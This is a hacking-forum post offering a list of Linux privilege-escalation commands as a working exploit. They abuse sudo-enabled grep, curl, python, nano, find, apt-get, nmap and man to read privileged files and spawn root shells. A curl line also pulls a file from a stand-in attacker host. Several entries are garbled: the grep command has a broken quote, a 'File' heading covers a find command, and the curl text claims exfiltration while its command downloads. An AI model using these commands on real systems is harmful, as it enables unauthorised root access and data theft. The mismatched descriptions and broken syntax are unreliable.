

Forum:[Hack Forums](#)

Thread: [exploit for sudo binary perms for linux privilege ecalations](#)

Ash Ketchum - May 8, 2020, 1:41 am

Came across a guide for this exploit thought id share it with you guys as it's new and working.
Below are some very useful commands for penetration testers who are interested in exploiting SUDO binary permissions for Linux privilege escalations:

Grep (Sudo)

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

The command is employed to read data from files. It can be utilized to read privileged files or disclose files outside a confined file system.

Code LFILE=file_to_read
sudo grep " \$LFILE

Curl (Sudo)

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

In the event that the attacker holds foothold on the system, it may exfiltrate files on the network by sending a local file with an HTTP POST request.

The attacker can run an HTTP Server on their box to obtain the file.

Code URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo -E curl \$URL -o \$LFILE

Python (Sudo)

The command may be deployed to escape from confined environments by spawning an interactive system shell.

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

Code sudo python -c 'import os; os.system("/bin/sh")'
Nano (Sudo)

The command may be deployed to escape from confined environments by spawning an interactive system shell.

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

Code sudo nano
^R^X
reset; sh 1>&0 2>&0
File (Sudo)

The command may be deployed to escape from confined environments by spawning an interactive system shell.

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

Code `sudo find . -exec /bin/sh \; -quit`

apt-get (Sudo)

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

The command may be deployed to escape from confined environments by spawning an interactive system shell.

This would invoke the default pager that is possible to be less. Additional functions can apply.

Code `sudo apt-get changelog apt`

`!/bin/sh`

Nmap (Sudo)

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

The command may be deployed to escape from confined environments by spawning an interactive system shell.

The interactive mode may be deployed to execute shell commands.

Code `sudo nmap --interactive`

`nmap> !sh`

man (Sudo)

The command may be deployed to escape from confined environments by spawning an interactive system shell.

The command runs in privileged context and can be employed to access the file system, escalate or preserve access with elevated privileges if enabled with sudo.

Code `sudo man man`

`!/bin/sh`